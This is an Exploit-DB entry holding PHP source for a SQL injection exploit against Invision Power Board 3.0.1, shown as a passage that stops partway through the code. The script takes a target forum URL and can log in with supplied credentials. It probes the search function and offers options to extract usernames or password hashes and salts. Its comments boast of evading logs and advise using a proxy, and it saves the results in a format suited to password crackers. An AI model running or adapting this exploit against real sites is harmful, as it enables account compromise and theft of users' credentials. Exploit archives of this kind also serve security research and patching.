Exploit-DB #12586
Description: Invision Power Board 3.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-13
Author: Cryptovirus

Exploit:
<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB 3.0.1 sql injection exploit
// Version 1.0
// written by Cryptovirus
// http://de.crypt.in/
// 31. january 2010
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. log format compatible with passwordspro
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Die, if executed from webserver
//=====================================================================
if(!$cli)
{
      echo "<html><head><title>Attention!</title></head>\n";
      echo "<body><br /><br /><center>\n";
      echo "<h1>Error!</h1>\n";
      echo "This exploit is meant to be used as php CLI script!<br />\n";
      echo "More information:<br />\n";
      echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
      echo "This script will not run through a webserver.<br />\n";
      echo "</center></body></html>\n";
      exit;
}
//=====================================================================
// Print the awesome de.crypt.in logo
//=====================================================================
echo "\n     _                             _     _       ";
echo "\n  __| | ___   ___ _ __ _   _ _ __ | |_  (_)_ __  ";
echo "\n / _` |/ _ \ / __| '__| | | | '_ \| __| | | '_ \ ";
echo "\n| (_| |  __/| (__| |  | |_| | |_) | |_ _| | | | |";
echo "\n \__,_|\___(_)___|_|   \__, | .__/ \__(_)_|_| |_|";
echo "\n                       |___/|_|                  \n\n";
//=====================================================================
// Check if all command line arguments were passed
//=====================================================================
if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){
      echo "Usage: php ".$_SERVER['PHP_SELF']." <target> <userid> <option> [login] [password]\n";
      echo "\n";
      echo "NOTE: Login and password are optional, use for forums that require registration.\n";
      echo "Options: 1 - Fetch username, 2 - Fetch password hash\n\n";
      echo "Example: php ".$_SERVER['PHP_SELF']." http://ipb.com/board/ 1 1 foo bar\n";
      die;
}
//=====================================================================
// Set some important variables...
//=====================================================================
$topicname = '';
$url = $argv[1];
$chosen_id = $argv[2];
$ch_option = $argv[3];
if(isset($argv[4])){
    if(isset($argv[5])){
        $user_login = $argv[4];
        $user_pass = $argv[5];
    }
    else{
        echo "Error: Password not specified with username\n";
        die;
    }
}
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_[CREDENTIAL_REDACTED]:somepassword';
$outfile = './ipb_log.txt'; //Log file

if(!extension_loaded('curl'))
{
   if(!dl('php_curl.dll'))
   {
      die("Curl extension not loaded!\n Fatal exit ...\n");
   }
   else
   {
      echo "Curl loading success\n";
   }
}
//=====================================================================
xecho("Target: $url\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("==========================================");
add_line("Target: $url");
if(isset($argv[4])){
    login_to_forum($argv[4], $argv[5]);
}
$i = $chosen_id;
echo "Fetching topics from ID $i\n";
   if(!fetch_target_id($i))
   {
    echo "No topics found.\n";
    fwrite(STDOUT, "Last ditch effort, enter topic: ");
    $topicname = trim(fgets(STDIN));  
   }
    else echo "Topic found! Hacktime.\n";
   
// Check chosen option and proceed accordingly
add_line("------------------------------------------");
if($ch_option == 2){
    $hash = get_hash($i);
    $salt = get_salt($i);
    $line = "$i:$hash:$salt";
    add_line($line);
    xecho("\n------------------------------------------\n");
    xecho("User ID: $i\n");
    xecho("Hash: $hash\n");
    xecho("Salt: $salt");
    xecho("\n------------------------------------------\n");
}
else if($ch_option == 1){
    $uname = get_user($i);
    $line = "The username for id $i is $uname";
    add_line($line);
    xecho("$uname");
}
xecho("\nQuestions and feedback - http://de.crypt.in/ \n");
die(" \n");
//////////////////////////////////////////////////////////////////////
function login_to_forum($user, $pass)
{
   global $url;
   $post = 'app=core&module=global&section=login&do=process&username='.$user.'&password='.$pass.'&rememberMe=1';
   $buff = trim(make_post($url, $post, '', $url));
   if(strpos($buff,'The login was successful!')>0){
        xecho("Logged in.\n");
   }
   else{
        xecho("Error: Unable to login.");
        die;
    }
}
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
   global $url;
   
   $post = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%5Ball%5D=1&content_title_only=1&search_term=test%2527';
   $buff = trim(make_post($url, $post, '', $url));

   if(strpos($buff,'Moved Permanently')>0)
   {
      die('Ivalid. Try adding trailing slash to url. Exiting ...');
   }

   if(strpos($buff,'No results found for')>0)
   {